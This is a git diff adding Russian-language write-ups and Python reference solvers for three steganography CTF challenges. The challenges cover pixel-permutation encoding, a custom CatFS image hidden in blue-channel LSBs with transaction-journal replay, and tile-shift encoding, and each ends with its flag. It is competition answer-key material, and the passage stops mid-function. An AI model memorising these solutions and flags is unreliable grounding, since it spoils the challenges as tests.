+ +На старте есть RGB-изображение `kot1_v_glazah.png` размером 1254 × 1254. Начинаем с текстовых чанков PNG. Запись `EditorNote` описывает работу редактора с блоками 2 × 2. + +## Решение + +Читаем метаданные через Pillow: + +```python +from PIL import Image + +img = Image.open("public/kot1_v_glazah.png") +for key, value in img.info.items(): + print(key, value, sep="\n") +``` + +Из заметки узнаём, что редактор только переставляет четыре пикселя внутри блока, не меняя их цвета. Пригодны блоки, в которых все цвета различны, а разброс каждого канала не превышает `3`. После перестановки блок остаётся пригодным по тем же признакам. + +Обходим сетку от `(0, 0)` по строкам, слева направо. Для каждого пригодного блока сортируем цвета по ключу: + +```text +(77 * R + 150 * G + 29 * B, R, G, B) +``` + +Так получаем канонические цвета `C0`, `C1`, `C2`, `C3`. Позиции в блоке нумеруем отдельно: `0` — сверху слева, `1` — сверху справа, `2` — снизу слева, `3` — снизу справа. Перестановку записываем как **позиции канонических цветов**: где находится `C0`, затем `C1`, `C2` и `C3`. + +Например, если в порядке чтения блока стоят `C2, C0, C3, C1`, нужный кортеж — `(1, 3, 0, 2)`. Кортеж номеров цветов `(2, 0, 3, 1)` задаёт обратную перестановку и даст другой полубайт. + +У четырёх элементов `4! = 24` перестановки. Нумеруем их лексикографически. Первые 16 номеров кодируют значения полубайта от `0` до `15`. + +```python +from itertools import permutations + +catalog = list(permutations(range(4))) +# px — четыре RGB-пикселя в порядке TL, TR, BL, BR. +positions = tuple(sorted( + range(4), + key=lambda i: (77 * int(px[i][0]) + 150 * int(px[i][1]) + 29 * int(px[i][2]), + *map(int, px[i])), +)) +nibble = catalog.index(positions) +``` + +Первые 16 пригодных блоков должны дать контрольный ряд `0, 1, …, 15`. Сверяем его перед чтением сообщения: так проверяем отбор блоков, сортировку и направление обхода сразу. + +Пропускаем 16 калибровочных блоков. Дальше объединяем полубайты, старший первым, `byte = (hi << 4) | lo`. В начале потока появляется конверт: + +| Поле | Формат | +|---|---| +| Сигнатура | `CTP1` | +| Версия | `1` | +| Длина payload | `u32 LE` | +| Payload | Текст указанной длины | +| Контрольная сумма | CRC32 payload, `u32 LE` | + +После заголовка читаем только указанное число байт payload и следующие четыре байта CRC32: остальные пригодные блоки к сообщению уже не относятся. Сверяем контрольную сумму. В тексте лежит флаг, а за ним авторская приписка: «Он ничего не потерял. Просто всё переставил. Даже взгляд.» + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{p3r3st4n0vk1_v_gl4z4h_k0t4}` diff --git a/finals/kot1/solve/solve.py b/finals/kot1/solve/solve.py new file mode 100644 index 0000000..a699919 --- /dev/null +++ b/finals/kot1/solve/solve.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python +"""Эталонный решатель задачи 1 «В глазах всё написано» (формат CTP1). + +Независимая реализация: только stdlib + Pillow + numpy. Не импортирует код +генератора и не читает файлы организатора. + +Схема (восстанавливается из публичных улик в метаданных PNG): + * сетка блоков 2x2 от левого верхнего угла, обход по строкам; + * блок пригоден, если 4 цвета RGB попарно различны и размах каждого + канала <= 3 (пригодность инвариантна к перестановке пикселей); + * канонический порядок цветов: сортировка по ключу (77*R+150*G+29*B, R, G, B); + * 24 перестановки (0,1,2,3) нумеруются лексикографически от 0, + номера 0..15 кодируют полубайт, старший полубайт байта первым; + * первые 16 пригодных блоков — калибровка (номера 0..15 по порядку); + * далее конверт: magic "CTP1", version=1, payload_length u32 LE, + payload, crc32 u32 LE от payload. + +Использование: python solve_task1.py +Печатает флаг (первая строка payload) в stdout. При ошибке — сообщение +в stderr и ненулевой код возврата. +""" + +import struct +import sys +import zlib + +import numpy as np +from PIL import Image + +RANGE_MAX = 3 +CALIBRATION_BLOCKS = 16 +MAGIC = b"CTP1" +VERSION = 1 +MAX_PAYLOAD = 1 << 20 # 1 МиБ + +# Все 24 перестановки (0,1,2,3) в лексикографическом порядке. +LEX_PERMS = sorted( + (a, b, c, d) + for a in range(4) + for b in range(4) + for c in range(4) + for d in range(4) + if len({a, b, c, d}) == 4 +) +PERM_INDEX = {p: i for i, p in enumerate(LEX_PERMS)} + + +class SolveError(Exception): + """Ожидаемая ошибка решения: повреждённые или чужие данные.""" + + +def suitable(px): + """Пригодность блока 2x2. px — массив (4, 3) RGB в порядке TL,TR,BL,BR.""" + for i in range(4): + for j in range(i + 1, 4): + if px[i][0] == px[j][0] and px[i][1] == px[j][1] and px[i][2] == px[j][2]: + return False + lo = px.min(axis=0) + hi = px.max(axis=0) + return bool(((hi - lo) <= RANGE_MAX).all()) + + +def block_nibble(px): + """Номер лексикографической перестановки блока (0..23). + + perm[k] = позиция k-го канонического цвета в порядке чтения блока. + """ + order = sorted( + range(4), key=lambda i: (77 * px[i][0] + 150 * px[i][1] + 29 * px[i][2], + px[i][0], px[i][1], px[i][2]) + ) + perm = [0] * 4 + for k, i in enumerate(order): # i — позиция в порядке чтения цвета C[k] + perm[k] = i + return PERM_INDEX[tuple(perm)] + + +def solve(path): + img = Image.open(path).convert("RGB") + w, h = img.size + arr = np.asarray(img, dtype=np.int32) + + # Пригодные блоки 2x2 в порядке обхода по строкам; неполные краевые + # блоки игнорируются. + blocks = [] # (bx, by) левых верхних углов + nibbles = [] + for by in range(0, h - 1, 2): + for bx in range(0, w - 1, 2): + px = arr[by:by + 2, bx:bx + 2].reshape(4, 3) + if suitable(px): + blocks.append((bx, by)) + nibbles.append(block_nibble(px)) + + if len(blocks) < CALIBRATION_BLOCKS: + raise SolveError( + f"слишком мало пригодных блоков: {len(blocks)}, нужно минимум 16" + ) + + # Калибровка: первые 16 пригодных блоков обязаны давать 0..15 по порядку. + for i in range(CALIBRATION_BLOCKS): + if nibbles[i] != i: + raise SolveError( + f"калибровка нарушена: блок {i} даёт номер {nibbles[i]}, ожидался {i}" + ) + + def read_byte(idx): + """Байт idx конверта: старший полубайт первым.""" + vals = [] + for half in range(2): + pos = CALIBRATION_BLOCKS + 2 * idx + half + if pos >= len(nibbles): + raise SolveError("конверт усечён: не хватает пригодных блоков") + n = nibbles[pos] + if n > 15: + raise SolveError( + f"недопустимый номер перестановки {n} (допустимы 0..15) " + f"в блоке {pos}" + ) + vals.append(n) + return (vals[0] << 4) | vals[1] + + header = bytes(read_byte(i) for i in range(9)) + if header[:4] != MAGIC: + raise SolveError(f"неверный magic: {header[:4]!r}, ожидался {MAGIC!r}") + if header[4] != VERSION: + raise SolveError(f"неподдерживаемая версия конверта: {header[4]}") + (plen,) = struct.unpack(" MAX_PAYLOAD: + raise SolveError( + f"payload_length {plen} превышает лимит {MAX_PAYLOAD} байт" + ) + total = 13 + plen + if CALIBRATION_BLOCKS + 2 * total > len(blocks): + raise SolveError( + f"конверт усечён: нужно {total} байт, " + f"блоков хватает на {(len(blocks) - CALIBRATION_BLOCKS) // 2}" + ) + + rest = bytes(read_byte(i) for i in range(9, total)) + payload = rest[:plen] + (crc_want,) = struct.unpack("", file=sys.stderr) + return 2 + try: + payload = solve(argv[1]) + except SolveError as exc: + print(f"error: {exc}", file=sys.stderr) + return 1 + except Exception as exc: # битый файл, не-PNG и т.п. + print(f"error: не удалось обработать файл: {exc}", file=sys.stderr) + return 1 + try: + text = payload.decode("utf-8") + except UnicodeDecodeError as exc: + print(f"error: payload не является UTF-8: {exc}", file=sys.stderr) + return 1 + flag = text.split("\n", 1)[0].strip() + print(flag) + return 0 + + +if __name__ == "__main__": + sys.exit(main(sys.argv)) diff --git a/finals/kot2/WRITEUP.md b/finals/kot2/WRITEUP.md new file mode 100644 index 0000000..14bae0f --- /dev/null +++ b/finals/kot2/WRITEUP.md @@ -0,0 +1,59 @@ +

У него есть прошлое

+ +

+ Stego +

+ +На старте есть изображение `kot2_proshloe.png`, в котором записан образ диска с CatFS версии 2. Образ содержит снимок каталога, журнал транзакций и сектора данных. Нужно восстановить последнюю зафиксированную версию `nose_note.txt` перед её удалением. + +## Решение + +### Извлечение CatFS + +В PNG находим `iTXt`-запись `CatFS.boot`. Она описывает геометрию носителя: плитки 32 × 32 от `(0, 0)`, обход по строкам, один бит в чётности синего канала (`B & 1`). Байты собираются старшим битом вперёд. + +В плитке `32 × 32 = 1024` бита, то есть один сектор на 128 байт. Для изображения 1254 × 1254 получаем `39 × 39 = 1521` полный сектор. + +Сектор `0` начинается с `CATF`, версия — `2`. Сверяем CRC32 первых 124 байт со значением по смещению `124` и читаем карту областей: + +| Область | Сектора | +|---|---| +| Суперблок | `0` | +| Снимок каталога | `1–2` | +| Журнал транзакций | `3–7` | +| Данные | С сектора `8` | + +В суперблоке также указано `sectors_used=107` — это число занятых секторов всей файловой системы, включая служебные области. + +У сектора данных есть `sector_id`, `next_sector`, `used_length` и `payload_crc`. Заголовок сектора занимает 16 байт, а CRC покрывает всё следующее 112-байтное поле payload, включая неиспользованную добивку. Следуем по `next_sector` до `0xffffffff`, полезную длину учитываем при сборке файла. + +Запись каталога занимает 32 байта: `name[16]`, `inode u32`, `generation u16`, `reserved u8`, `flags u8`, `size u32`, `first_sector u32`. По снимку читаем живой `format.txt` — там правила журнала и точная цель восстановления. + +### Снимок записки + +В снимке `nose_note.txt` имеет `inode=1006`, `generation=1`, `first_sector=100`. У записи выставлен бит сжатия `flags & 2`. Собираем полезные байты цепочки секторов с номерами от `100` до `106`, затем распаковываем zlib. Получаем 1504 байта текста, но флаг обрывается на `caplag{zhurn4l_p0m`. Хвост появился позже, в журнале. + +Записи журнала имеют формат `[type u8][reserved u8][length u16][payload][crc32]`. Многобайтные числа читаем в little-endian. CRC32 покрывает четырёхбайтный заголовок записи и её payload. Читаем до `type=0`, сверяем CRC и группируем операции между `TXN_BEGIN` и соответствующим `TXN_COMMIT`. + +### Применение журнала + +Сначала загружаем живые объекты снимка, сохраняя для каждого inode поколение и логические байты файла. Затем читаем транзакции в порядке журнала и применяем только завершённые COMMIT. Незавершённую транзакцию отбрасываем при следующем BEGIN или конце журнала. + +| Транзакция | Действие | Что делаем | +|---|---|---| +| `t2`, есть COMMIT | `OP_WRITE` к `(1006, gen 1)`, offset `1504`, replace_len `0` | Распаковываем zlib-патч, дописываем его байты и получаем gen 2 | +| `t3`, нет COMMIT | `OP_WRITE` к `(1006, gen 2)`, offset `1486`, replace_len `31` | Отбрасываем всю транзакцию | +| `t4`, есть COMMIT | `OP_DELETE` к `(1006, gen 2)` | Сохраняем последнюю версию и фиксируем удаление | +| `t5`, есть COMMIT | `OP_WRITE` к `(1006, gen 0)` | Создаём новую серию inode для `draft.txt` | + +У `t3` правильные CRC отдельных записей, но это не делает транзакцию зафиксированной. Если применить её без COMMIT, настоящий текст заменится ложным. + +Одного номера inode недостаточно, поскольку операции относятся к паре `(inode, generation)`, а создание с `generation=0` после удаления начинает новую серию. Поэтому `draft.txt` из `t5` не заменяет искомую историю записки. + +Патч `t2` дописывает недостающий хвост. Последняя зафиксированная версия перед `t4` — gen 2 длиной 1568 байт. В её конце читаем полный флаг. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{zhurn4l_p0mn1t_k0t4_n0s}` diff --git a/finals/kot2/solve/solve.py b/finals/kot2/solve/solve.py new file mode 100644 index 0000000..b297367 --- /dev/null +++ b/finals/kot2/solve/solve.py @@ -0,0 +1,467 @@ +#!/usr/bin/env python3 +"""Решатель задачи 2 «У него есть прошлое» (CatFS/2: снимок + журнал транзакций). + +Независимая реализация: только stdlib + Pillow + numpy. Никаких импортов +генератора и чтения файлов организатора. + +Сценарий восстановления (всё публично, см. format.txt внутри ФС): +плитки 32x32 -> сектора 128 байт -> суперблок CATF версии 2 -> снимок +каталога (записи с generation) -> журнал транзакций -> replay ТОЛЬКО +зафиксированных транзакций, операции сопоставляются объектам по паре +(inode, generation) -> последняя зафиксированная версия nose_note.txt +перед её зафиксированным удалением -> флаг. + +Использование: python solvers/solve_task2.py +Печатает извлечённый флаг caplag{...}; при любой ошибке — сообщение в stderr +и ненулевой код выхода. +""" +import re +import struct +import sys +import zlib + +import numpy as np +from PIL import Image + +TILE = 32 +SECTOR = 128 +HEADER = 16 +PAYLOAD_CAP = SECTOR - HEADER +END_OF_CHAIN = 0xFFFFFFFF +DIR_ENTRY = 32 +DIR_PER_SECTOR = SECTOR // DIR_ENTRY +VERSION = 2 + +FLAG_DELETED = 1 +FLAG_ZLIB = 2 + +TXN_BEGIN = 1 +OP_WRITE = 2 +OP_DELETE = 3 +TXN_COMMIT = 4 +OP_NAMES = {TXN_BEGIN: "TXN_BEGIN", OP_WRITE: "OP_WRITE", OP_DELETE: "OP_DELETE", TXN_COMMIT: "TXN_COMMIT"} + +MAX_RECORDS = 4096 +MAX_OBJECT = 1 << 20 # лимит распакованных данных на объект/патч + +TARGET_NAME = "nose_note.txt" + + +class CatfsError(Exception): + pass + + +def fail(msg): + print(f"solve_task2: ошибка: {msg}", file=sys.stderr) + sys.exit(1) + + +def read_sectors(path): + """Плитки 32x32 -> сектора 128 байт (чётность синего канала, MSB-first).""" + try: + img = Image.open(path).convert("RGB") + except Exception as e: + fail(f"не удалось открыть PNG: {e}") + a = np.asarray(img, dtype=np.uint8) + h, w, _ = a.shape + tx, ty = w // TILE, h // TILE + if tx == 0 or ty == 0: + fail("изображение слишком мало для плиток 32x32") + total = tx * ty + # Собираем биты чётности синего канала по плиткам, обход по строкам. + blue = (a[: ty * TILE, : tx * TILE, 2] & 1).reshape(ty, TILE, tx, TILE) + blue = blue.transpose(0, 2, 1, 3).reshape(total, TILE * TILE) + sectors = np.packbits(blue, axis=1) # bitorder='big' = MSB-first + return sectors, total + + +def parse_superblock(sec): + if sec[0:4] != b"CATF": + raise CatfsError("плохой magic суперблока") + if sec[4] != VERSION: + raise CatfsError(f"неподдерживаемая версия {sec[4]} (ожидалась {VERSION})") + if sec[5] != 7: + raise CatfsError(f"неожиданный sector_size_log2 {sec[5]}") + (stored_crc,) = struct.unpack_from(" total: + raise CatfsError("sectors_used больше sectors_total") + data_start = txn_start + txn_sectors + if dir_start < 1 or dir_start + dir_sectors > txn_start or data_start > used: + raise CatfsError("противоречивая раскладка областей в суперблоке") + return { + "total": total, + "used": used, + "dir_start": dir_start, + "dir_sectors": dir_sectors, + "txn_start": txn_start, + "txn_sectors": txn_sectors, + "data_start": data_start, + } + + +def parse_directory(sectors, sb): + entries = [] + for s in range(sb["dir_start"], sb["dir_start"] + sb["dir_sectors"]): + if s >= sb["used"]: + raise CatfsError("каталог выходит за sectors_used") + sec = bytes(sectors[s]) + for i in range(DIR_PER_SECTOR): + rec = sec[i * DIR_ENTRY : (i + 1) * DIR_ENTRY] + name = rec[0:16].split(b"\x00", 1)[0] + if not name: + continue + inode, generation = struct.unpack_from(" len(blob): + if any(blob[pos:]): + raise CatfsError(f"обрезанный заголовок записи журнала по смещению {pos}") + return out + rtype = blob[pos] + if rtype == 0: + return out + if len(out) >= MAX_RECORDS: + raise CatfsError(f"больше {MAX_RECORDS} записей журнала") + (plen,) = struct.unpack_from(" len(blob): + raise CatfsError(f"запись журнала по смещению {pos} выходит за область журнала") + raw = blob[pos:end] + (stored_crc,) = struct.unpack_from("= sb["used"]: + raise CatfsError(f"{what}: первый сектор {start} вне области данных") + out = bytearray() + seen = set() + s = start + while True: + if s in seen: + raise CatfsError(f"{what}: цикл в цепочке на секторе {s}") + seen.add(s) + if len(seen) > sb["total"]: + raise CatfsError(f"{what}: цепочка длиннее sectors_total") + if s < sb["data_start"] or s >= sb["used"]: + raise CatfsError(f"{what}: сектор {s} вне области данных") + sec = bytes(sectors[s]) + sector_id, next_sector, used_len = struct.unpack_from(" PAYLOAD_CAP: + raise CatfsError(f"{what}: сектор {s}: used_length={used_len}") + payload = sec[HEADER : HEADER + PAYLOAD_CAP] + (pcrc,) = struct.unpack_from(" size: + raise CatfsError(f"{what}: распакованные данные превышают лимит ({size})") + parts.append(chunk) + data = d.unconsumed_tail + if not data: + if d.eof: + break + raise CatfsError(f"{what}: zlib-поток оборван раньше времени") + return b"".join(parts) + + +def replay(objects, history, series, records, log): + """Replay журнала транзакций по публичным правилам format.txt. + + objects: inode -> {"gen": int, "data": bytearray} + history: inode -> [ {"series", "gen", "data"|None, "deleted", "cause"} ] + series: inode -> номер текущей серии + Возвращает список отклонённых записей (строки). + """ + rejected = [] + + def apply(op, txn_id): + typ = op["type"] + inode = op.get("inode") + if typ == OP_WRITE: + try: + data = zlib_limited(op["data"], MAX_OBJECT, f"txn {txn_id} OP_WRITE") + except CatfsError as e: + rejected.append(str(e)) + return + gen = op["generation"] + if gen == 0: + if inode in objects: + rejected.append(f"txn {txn_id} OP_WRITE inode={inode} gen=0: серия уже существует") + return + if op["wr_offset"] != 0 or op["replace_len"] != 0: + rejected.append( + f"txn {txn_id} OP_WRITE inode={inode} gen=0: создание требует offset=0, replace_len=0" + ) + return + series[inode] = series.get(inode, 0) + 1 + objects[inode] = {"gen": 1, "data": bytearray(data)} + history.setdefault(inode, []).append( + {"series": series[inode], "gen": 1, "data": bytes(data), + "deleted": False, "cause": f"txn {txn_id} OP_WRITE (create)"} + ) + return + obj = objects.get(inode) + if obj is None or obj["gen"] != gen: + rejected.append( + f"txn {txn_id} OP_WRITE inode={inode} gen={gen}: нет живого объекта с такой generation" + ) + return + base = obj["data"] + off, rlen = op["wr_offset"], op["replace_len"] + if off > len(base) or off + rlen > len(base): + rejected.append( + f"txn {txn_id} OP_WRITE inode={inode}: диапазон [{off}:{off + rlen}] вне {len(base)} байт" + ) + return + nd = bytearray(base[:off]) + data + base[off + rlen :] + if len(nd) > MAX_OBJECT: + rejected.append(f"txn {txn_id} OP_WRITE inode={inode}: объект превысил лимит") + return + obj["data"] = nd + obj["gen"] += 1 + history.setdefault(inode, []).append( + {"series": series.get(inode, 1), "gen": obj["gen"], "data": bytes(nd), + "deleted": False, "cause": f"txn {txn_id} OP_WRITE"} + ) + elif typ == OP_DELETE: + obj = objects.get(inode) + gen = op["generation"] + if obj is None or obj["gen"] != gen: + rejected.append( + f"txn {txn_id} OP_DELETE inode={inode} gen={gen}: нет живого объекта с такой generation" + ) + return + history.setdefault(inode, []).append( + {"series": series.get(inode, 1), "gen": obj["gen"], "data": None, + "deleted": True, "cause": f"txn {txn_id} OP_DELETE"} + ) + del objects[inode] + + open_txn = None + ops = [] + for rec in records: + if rec["type"] == TXN_BEGIN: + # BEGIN при открытой транзакции: прежняя не зафиксирована (сбой) — + # отбрасывается целиком. + if open_txn is not None: + log(f" txn {open_txn}: нет COMMIT (сбой) — отброшена") + open_txn, ops = rec["txn"], [] + elif rec["type"] == TXN_COMMIT: + if open_txn is None or rec["txn"] != open_txn: + raise CatfsError( + f"TXN_COMMIT {rec['txn']} не соответствует открытой транзакции {open_txn}" + ) + for op in ops: + apply(op, rec["txn"]) + log(f" txn {rec['txn']}: COMMIT, операций {len(ops)}") + open_txn, ops = None, [] + else: + if open_txn is None: + raise CatfsError("операция журнала вне транзакции") + ops.append(rec) + if open_txn is not None: + log(f" txn {open_txn}: нет COMMIT (сбой) — отброшена") + return rejected + + +def main(): + if len(sys.argv) != 2: + print("использование: python solvers/solve_task2.py ", file=sys.stderr) + sys.exit(2) + sectors, total = read_sectors(sys.argv[1]) + print(f"[+] носитель: {total} секторов по {SECTOR} байт") + try: + sb = parse_superblock(bytes(sectors[0])) + print( + f"[+] суперблок ok (v{VERSION}): used={sb['used']} dir={sb['dir_start']}+{sb['dir_sectors']} " + f"txn={sb['txn_start']}+{sb['txn_sectors']} data с {sb['data_start']}" + ) + entries = parse_directory(sectors, sb) + print(f"[+] снимок каталога: {len(entries)} записей") + for e in entries: + mark = "УДАЛЁН" if e["flags"] & FLAG_DELETED else "жив" + print( + f" inode={e['inode']} gen={e['generation']} {e['name']!r} " + f"size={e['size']} first={e['first']} [{mark}]" + ) + + # Живой format.txt — там публичная спецификация журнала транзакций. + fmt = next((e for e in entries if e["name"] == "format.txt"), None) + if fmt is None or (fmt["flags"] & FLAG_DELETED): + raise CatfsError("живой format.txt не найден") + fmt_text = read_chain(sectors, sb, fmt["first"], "format.txt").decode("utf-8") + print("[+] format.txt прочитан (спецификация журнала транзакций и правил replay):") + for line in fmt_text.splitlines()[:4]: + print(" | " + line) + + # Целевой файл в снимке (базовая версия, generation из каталога). + target = next( + (e for e in entries if e["name"] == TARGET_NAME and not (e["flags"] & FLAG_DELETED)), + None, + ) + if target is None: + raise CatfsError(f"{TARGET_NAME} не найден в снимке каталога") + base = read_chain(sectors, sb, target["first"], TARGET_NAME) + if target["flags"] & FLAG_ZLIB: + base = zlib_limited(base, target["size"], TARGET_NAME) + if len(base) != target["size"]: + raise CatfsError( + f"{TARGET_NAME}: базовая версия {len(base)} байт, каталог обещал {target['size']}" + ) + print( + f"[+] базовая версия из снимка: inode={target['inode']} " + f"gen={target['generation']} ({len(base)} байт логических данных)" + ) + + records = parse_journal(sectors, sb) + print(f"[+] журнал транзакций: {len(records)} записей (CRC каждой сошёлся)") + for rec in records: + line = f" @{rec['offset']:<4} {OP_NAMES[rec['type']]:<10} txn={rec['txn']}" + if rec["type"] in (OP_WRITE, OP_DELETE): + line += f" inode={rec['inode']} gen={rec['generation']}" + if rec["type"] == OP_WRITE: + line += f" offset={rec['wr_offset']} replace_len={rec['replace_len']}" + print(line) + + print("[+] replay зафиксированных транзакций (правила — format.txt):") + logs = [] + objects = {target["inode"]: {"gen": target["generation"], "data": bytearray(base)}} + history = { + target["inode"]: [ + {"series": 1, "gen": target["generation"], "data": bytes(base), + "deleted": False, "cause": "snapshot"} + ] + } + # Остальные живые объекты снимка тоже участвуют в состоянии (у них могут + # быть свои операции); загружаем их для полноты replay. + for e in entries: + if e["inode"] == target["inode"] or (e["flags"] & FLAG_DELETED): + continue + raw = read_chain(sectors, sb, e["first"], e["name"]) + if e["flags"] & FLAG_ZLIB: + raw = zlib_limited(raw, e["size"], e["name"]) + objects[e["inode"]] = {"gen": e["generation"], "data": bytearray(raw)} + history[e["inode"]] = [ + {"series": 1, "gen": e["generation"], "data": bytes(raw), + "deleted": False, "cause": "snapshot"} + ] + rejected = replay(objects, history, {e["inode"]: 1 for e in entries}, records, logs.append) + for line in logs: + print(line) + for line in rejected: + print(f" отклонено: {line}") + + hist = history.get(target["inode"], []) + # Цель (публичная): последняя зафиксированная версия серии снимка + # перед её зафиксированным удалением. + series1 = [p for p in hist if p["series"] == 1] + if not series1: + raise CatfsError("в истории нет серии снимка для целевого inode") + last = series1[-1] + if last["deleted"]: + if len(series1) < 2: + raise CatfsError("перед удалением нет ни одной зафиксированной версии") + point = series1[-2] + print( + f"[+] объект серии 1 зафиксировано удалён (gen={last['gen']}); " + f"последняя зафиксированная версия перед удалением — gen={point['gen']}" + ) + else: + point = last + print(f"[!] объект серии 1 не удалён; последняя зафиксированная версия — gen={point['gen']}") + print("[+] история целевого inode:") + for p in hist: + if p["deleted"]: + print(f" серия {p['series']} gen={p['gen']} УДАЛЁН ({p['cause']})") + else: + print(f" серия {p['series']} gen={p['gen']} {len(p['data'])} байт ({p['cause']})") + text = point["data"].decode("utf-8") + except CatfsError as e: + fail(str(e)) + + m = re.search(r"caplag\{[^}\s]+\}", text) + if not m: + fail("флаг caplag{...} в восстановленной версии не найден") + print("[+] восстановленная записка (фрагмент):") + tail = text[max(0, m.start() - 120) : m.end() + 40] + for line in tail.splitlines(): + print(" > " + line) + print() + print("FLAG: " + m.group(0)) + + +if __name__ == "__main__": + main() diff --git a/finals/kot4/WRITEUP.md b/finals/kot4/WRITEUP.md new file mode 100644 index 0000000..3a22f30 --- /dev/null +++ b/finals/kot4/WRITEUP.md @@ -0,0 +1,47 @@ +

Он немного изменился

+ +

+ Stego +

+ +На старте есть изображение `kot4_izmenilsya.png`. В метаданных указаны встроенный слепок и движение внутри клеток. Размер плитки и таблица направлений не указаны. Сначала ищем исходное изображение внутри PNG. + +## Решение + +В приватном ancillary-чанке `caTs` лежит конверт `CREF`: сигнатура, версия `1`, длина `u32 LE`, SHA-256 и байты чистого PNG. Проверяем CRC чанка, затем длину и SHA-256 конверта. Получаем эталонную картинку для сравнения. + +Разность изображений показывает изменения в клетках, выровненных от `(0, 0)`. Пробуем размеры `4 × 4`, `8 × 8`, `16 × 16`. Для каждого сравниваем изменённую плитку с четырьмя циклическими сдвигами эталонной на один пиксель. + +```python +import numpy as np + +candidates = [ + np.roll(tile, -1, axis=0), # вверх + np.roll(tile, 1, axis=1), # вправо + np.roll(tile, 1, axis=0), # вниз + np.roll(tile, -1, axis=1), # влево +] +``` + +Подходит только сетка **8 × 8**, в которой каждая изменённая плитка точно совпадает с одним из сдвигов. При других размерах движение пересекает предполагаемые границы плиток, и такого совпадения нет. + +Однозначное направление можно прочитать только у плиток, которые действительно меняются при сдвиге. Поэтому пригодность проверяем по оригиналу, ещё до чтения битов. Все четыре сдвига должны различаться между собой и с исходной плиткой, а максимальная абсолютная разница по каналам между каждой сдвинутой плиткой и оригиналом не должна превышать `4`. Разность считаем в знаковом типе, чтобы вычитание `uint8` не переполнилось. + +Обходим пригодные плитки по строкам. По подсказке первые использованные клетки служат для калибровки. В первых четырёх видим сдвиги вверх, вправо, вниз и влево. Пробуем сопоставить им пары `00`, `01`, `10`, `11` по порядку, а затем проверяем гипотезу по сигнатуре и CRC полученного потока: + +| Направление | Пара бит | +|---|---| +| Вверх | `00` | +| Вправо | `01` | +| Вниз | `10` | +| Влево | `11` | + +Пропускаем четыре калибровочные плитки и собираем байты по четыре пары, старшая первой. Сначала читаем девятибайтный заголовок с сигнатурой `CTM4`, версией `1` и длиной payload в `u32 LE`. Затем читаем payload указанной длины и ещё четыре байта CRC32 в little-endian. Полная длина конверта равна `9 + payload_length + 4` байтам. Совпадение сигнатуры, версии и CRC подтверждает выбранную карту направлений. + +В payload читаем флаг и фразу «Это точно та же самая картинка. Мы почти уверены.» Встроенного эталона и самих различий хватило, чтобы восстановить схему без готовой карты в метаданных. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{sdv1g_n4_0d1n_p1ks3l}` diff --git a/finals/kot4/solve/solve.py b/finals/kot4/solve/solve.py new file mode 100644 index 0000000..3226e30 --- /dev/null +++ b/finals/kot4/solve/solve.py @@ -0,0 +1,277 @@ +#!/usr/bin/env python3 +"""Независимый решатель задачи 4 «Он немного изменился» (CREF + CTM4). + +Вход: участнический PNG. Метаданные намеренно НЕ раскрывают параметры +кодирования — решатель восстанавливает всё из данных. Логика: + 1. ручной разбор PNG-чанков (struct), проверка CRC каждого чанка; + 2. поиск приватного чанка caTs, разбор конверта CREF + (magic, version=1, length, sha256), извлечение чистого оригинала; + 3. размер плитки — из выравнивания diff эталона и результата: для + кандидатов 4/8/16 каждая изменённая плитка обязана совпасть ровно с + одним из 4 циклических сдвигов эталонной плитки на 1 пиксель; + размер, прошедший проверку для ВСЕХ изменённых плиток, — рабочий; + 4. сетка плиток от (0,0), обход по строкам; пригодность считается + ТОЛЬКО по оригиналу (4 сдвига попарно различны, ни один не равен + исходнику, max |дельта| по каналам <= 4); + 5. для каждой пригодной плитки изменённое изображение сравнивается с 4 + кандидатами (up/right/down/left): ровно одно совпадение, иначе отказ; + 6. карта направлений — из калибровки: первые 4 пригодные плитки дают + up,right,down,left, то есть 00=up 01=right 10=down 11=left; + 7. далее пары бит (старшая пара первой) -> конверт CTM4, узнаваемый + по magic в самих байтах (version=1, payload_length u32 LE, payload, + crc32 u32 LE); + 8. печать payload (флаг + шутка). + +Зависимости: stdlib + Pillow + numpy. Генератор не импортируется, +файлы организатора не читаются. +""" +import binascii +import hashlib +import struct +import sys + +import numpy as np +from PIL import Image + +TILE_CANDIDATES = (4, 8, 16) +MAXDIFF = 4 +MAX_PAYLOAD = 1 << 20 # 1 МиБ +PNG_SIG = b"\x89PNG\r\n\x1a\n" +# up=00, right=01, down=10, left=11 +DIRECTIONS = ("up", "right", "down", "left") + + +class SolveError(Exception): + pass + + +def parse_chunks(raw): + """Ручной разбор PNG-чанков с проверкой CRC. Без Pillow.""" + if raw[:8] != PNG_SIG: + raise SolveError("неверная сигнатура PNG") + chunks = [] + off = 8 + while True: + if off + 12 > len(raw): + raise SolveError("усечённый PNG (нет IEND)") + (length,) = struct.unpack(">I", raw[off:off + 4]) + if length > len(raw) - off - 12: + raise SolveError("длина чанка выходит за границы файла") + ctype = raw[off + 4:off + 8] + data = raw[off + 8:off + 8 + length] + (crc_stored,) = struct.unpack(">I", raw[off + 8 + length:off + 12 + length]) + crc_real = binascii.crc32(ctype + data) & 0xFFFFFFFF + if crc_real != crc_stored: + raise SolveError(f"неверная CRC чанка {ctype!r}") + chunks.append((ctype, data)) + off += 12 + length + if ctype == b"IEND": + break + if off != len(raw): + raise SolveError("лишние байты после IEND") + return chunks + + +def extract_original(chunks): + """Находит caTs, разбирает CREF, проверяет length и sha256.""" + cats = [d for t, d in chunks if t == b"caTs"] + if len(cats) != 1: + raise SolveError(f"ожидался ровно один чанк caTs, найдено {len(cats)}") + env = cats[0] + if len(env) < 4 + 1 + 4 + 32: + raise SolveError("CREF: короткий конверт") + if env[:4] != b"CREF": + raise SolveError("CREF: неверный magic") + if env[4] != 1: + raise SolveError(f"CREF: version {env[4]} != 1") + (length,) = struct.unpack(" MAXDIFF: + return False + return True + + +def eligible_tiles(orig, tile): + h, w = orig.shape[:2] + out = [] + for gy in range(h // tile): + for gx in range(w // tile): + t = orig[gy * tile:(gy + 1) * tile, gx * tile:(gx + 1) * tile] + if tile_eligible(t): + out.append((gx, gy)) + return out + + +def changed_tiles(orig, mod, tile): + """Индексы (gx, gy) плиток, содержащих хотя бы один изменённый пиксель.""" + h, w = orig.shape[:2] + th, tw = h // tile, w // tile + diff = np.any(orig[:th * tile, :tw * tile] != mod[:th * tile, :tw * tile], + axis=2) + hit = diff.reshape(th, tile, tw, tile).any(axis=(1, 3)) + return [(gx, gy) for gy in range(th) for gx in range(tw) if hit[gy, gx]] + + +def check_size_candidate(orig, mod, 